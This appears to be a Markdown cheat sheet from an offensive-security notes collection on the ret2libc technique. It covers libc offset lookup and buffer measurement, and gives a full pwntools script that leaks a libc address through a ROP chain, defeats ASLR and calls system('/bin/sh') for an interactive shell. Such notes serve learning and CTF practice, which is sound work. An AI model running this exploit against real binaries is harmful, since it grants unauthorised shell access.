killchain-compendium/exploit/binaries/ret2libc.md

85 lines
1.9 KiB
Markdown

# Ret2libc
* Check binary via
* `checksec`, PIE shows start address, RELRO shows permissions of r/w to got
* `file`
* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`
* Off = 0
* Partial = 1
* Full = 2
* `got` contains dynamically loaded functions
* `plt` contains used loaded dynamical functions
## Finding something to execute
* Interesting stuff to call from inside libc
* `/bin/sh`
* `system`
## libc -- Finding Offsets
### Manually
* On target find `sh` address inside libc
```sh
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
```
* Sub from `system` address from inside libc
```sh
readelf -s /lib32/libc.so.6 | grep system
```
### Measure the Buffer
* With gef
* `create pattern`
* `run`
* Use pattern
* `pattern search $<register>`
## ROP -- Creating a Chain
* Creating a ROP chain to execute the `/bin/sh` with parameters
* Check
* Architecture
* Calling convention
## Usage
* Create context
```python
#!/usr/bin/env python3
from pwn import *
context.binary = binary = '<binary>'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()
# ROP I, needed when ASL is enabled
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
p.recvline()
log.info(f"gets: {hex(leak)}")
libc.address = leak - libc.symbols.gets
log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
# ROP II
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
p.sendline(payload)
p.recvline()
p.interactive()
```